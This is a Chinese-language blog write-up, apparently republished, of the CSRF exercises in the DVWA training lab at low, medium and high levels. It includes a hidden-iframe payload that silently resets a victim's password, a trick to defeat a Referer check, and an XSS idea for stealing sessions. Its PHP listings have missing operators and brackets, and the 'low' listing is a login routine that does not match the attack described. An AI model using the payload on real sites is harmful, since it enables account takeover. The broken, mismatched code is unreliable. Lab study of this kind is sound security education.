DVWA筆記之三:CSRF


CSRF與XSS不同,它稱為跨站請求偽造,它是利用其他頁面的惡意腳本來加載訪問或操作存在CSRF的漏洞的可信網站。

1.Low級別

核心代碼如下:

<?php 

if( isset( $_GET'Login' ] ) ) { 
    
// Get username 
    
$user $_GET'username' ]; 

    
// Get password 
    
$pass $_GET'password' ]; 
    
$pass md5$pass ); 

    
// Check the database 
    
$query  "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"
    
$result mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

    if( 
$result && mysqli_num_rows$result ) == ) { 
        
// Get users details 
        
$row    mysqli_fetch_assoc$result ); 
        
$avatar $row["avatar"]; 

        
// Login successful 
        
echo "<p>Welcome to the password protected area {$user}</p>"
        echo 
"<img src=\"{$avatar}\" />"
    } 
    else { 
        
// Login failed 
        
echo "<pre><br />Username and/or password incorrect.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 


?> 

沒有加任何過濾和驗證,抓去請求包如下:



發現它是通過GET形式提交,因此可以構造如下惡意網頁1.html:

<iframe hidden src="http://www.xxx.com/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" ></iframe>

將其如果能讓可信用戶訪問,那么會自動更改密碼為passowrd。

2.Medium級別

核心代碼:

<?php 

if( isset( $_GET'Change' ] ) ) { 
    
// Checks to see where the request came from 
    
if( stripos$_SERVER'HTTP_REFERER' ] ,$_SERVER'SERVER_NAME' ]) !== false ) { 
        
// Get input 
        
$pass_new  $_GET'password_new' ]; 
        
$pass_conf $_GET'password_conf' ]; 

        
// Do the passwords match? 
        
if( $pass_new == $pass_conf ) { 
            
// They do! 
            
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."E_USER_ERROR)) ? "" "")); 
            
$pass_new md5$pass_new ); 

            
// Update the database 
            
$insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"
            
$result mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

            
// Feedback for the user 
            
echo "<pre>Password Changed.</pre>"
        } 
        else { 
            
// Issue with passwords matching 
            
echo "<pre>Passwords did not match.</pre>"
        } 
    } 
    else { 
        
// Didn't come from a trusted source 
        
echo "<pre>That request didn't look correct.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 


?> 

首先想到的是直接偽造REFFER頭,但是Cookie也要跟着偽造,此時的PHPSESSION卻無法獲取,因此只能換一種其他思路。

還是想着如何進行繞過過濾函數吧。

首先了解下striops函數

stripos() 函數查找字符串在另一字符串中第一次出現的位置(不區分大小寫)。

因此訪問的地址里只要存在HOST就可以實現過濾的繞過,因此直接構造鏈接文件為HOST.html即可。

其中構造的惡意代碼不變

3.HIGH級別

核心代碼如下:

<?php 

if( isset( $_GET'Change' ] ) ) { 
    
// Check Anti-CSRF token 
    
checkToken$_REQUEST'user_token' ], $_SESSION'session_token' ], 'index.php' ); 

    
// Get input 
    
$pass_new  $_GET'password_new' ]; 
    
$pass_conf $_GET'password_conf' ]; 

    
// Do the passwords match? 
    
if( $pass_new == $pass_conf ) { 
        
// They do! 
        
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work."E_USER_ERROR)) ? "" "")); 
        
$pass_new md5$pass_new ); 

        
// Update the database 
        
$insert "UPDATE `users` SET password = '$pass_new' WHERE user = '" dvwaCurrentUser() . "';"
        
$result mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

        
// Feedback for the user 
        
echo "<pre>Password Changed.</pre>"
    } 
    else { 
        
// Issue with passwords matching 
        
echo "<pre>Passwords did not match.</pre>"
    } 

    ((
is_null($___mysqli_res mysqli_close($GLOBALS["___mysqli_ston"]))) ? false $___mysqli_res); 


// Generate Anti-CSRF token 
generateSessionToken(); 

?> 


HIGH級別中加入了令牌機制,一種思路是獲取USER_token,帶USER_TOKEN提交,第二種思路就是通過XSS獲取SESSION,繼而提交惡意請求



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM